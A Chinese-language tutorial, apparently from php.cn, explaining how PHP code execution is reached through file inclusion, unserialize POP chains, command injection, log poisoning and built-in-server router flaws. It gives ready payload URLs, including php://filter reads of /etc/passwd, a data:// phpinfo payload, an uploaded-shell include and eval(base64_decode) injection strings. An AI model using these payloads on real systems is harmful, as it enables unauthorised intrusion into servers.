漏洞扫描中意外触发PHP代码执行,表明存在未授权代码执行入口,主要路径包括:一、文件包含漏洞;二、反序列化漏洞;三、命令注入;四、日志文件包含;五、PHP内置服务器路由缺陷。

如果在进行漏洞扫描时意外触发了PHP代码执行,这通常意味着目标系统存在未授权的代码执行入口点。以下是实现该行为的多种技术路径:
当目标应用使用动态文件包含函数(如include、require)且未对用户输入做严格过滤时,攻击者可通过构造恶意参数使服务器加载并执行任意PHP代码。
1、向存在file参数的URL提交请求,例如:http://example.com/index.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
2、若系统支持data://协议,则尝试注入:http://example.com/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
立即学习“PHP免费学习笔记(深入)”;
3、若可写入临时目录,先上传含PHP代码的图片文件,再通过路径遍历调用:http://example.com/index.php?file=../../uploads/shell.jpg
当应用程序对用户可控的序列化数据执行unserialize()操作且存在可利用的魔术方法(如__wakeup、__destruct)时,可能触发任意代码执行链。
1、识别目标应用是否返回序列化字符串或接受序列化输入(如Cookie中的PHPSESSID值)
2、使用工具如PHPGGC生成针对已知组件(如Monolog、SwiftMailer)的POP链payload
3、将生成的序列化字符串Base64编码后,替换原始Cookie值并发送请求
当PHP脚本调用system、exec等函数且拼接了未经校验的用户输入时,可在系统命令上下文中嵌套PHP解释器调用。
1、向存在cmd参数的接口提交:?cmd=php+-r+"echo+md5('test');"
2、若单引号被过滤,改用双引号绕过:?cmd=php+-r+"eval(base64_decode('ZWNobyBwaHBpbmZvKCk7'));"
3、若直接执行受限,尝试写入临时文件后调用:?cmd=echo+%27%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%27+%3E+%2Ftmp%2Ftest.php+%26%26+php+%2Ftmp%2Ftest.php
当Web服务器日志(如access.log)可被包含且日志内容受用户请求影响时,攻击者可将PHP代码注入User-Agent或Referer字段,再通过文件包含漏洞加载日志文件。
1、向目标站点发送带PHP代码的HTTP请求头:User-Agent:
2、确认日志路径(常见为/var/log/apache2/access.log或/var/log/nginx/access.log)
3、触发包含:?file=/var/log/apache2/access.log
当目标环境启用PHP内置服务器(php -S)且路由文件(router.php)逻辑存在缺陷时,可能通过特定URL路径绕过限制执行任意PHP代码。
1、探测是否存在router.php:访问http://example.com/router.php,观察响应内容
2、若路由文件使用preg_match匹配但未锚定开头,尝试:http://example.com/xxx.php/anything
3、若路由返回false且未终止脚本,直接请求:http://example.com/test.php,其中test.php需已存在于当前目录
以上就是漏洞扫描如何触发php代码执行_漏洞扫描触发php代码执行方法【指南】的详细内容,更多请关注php中文网其它相关文章!
PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号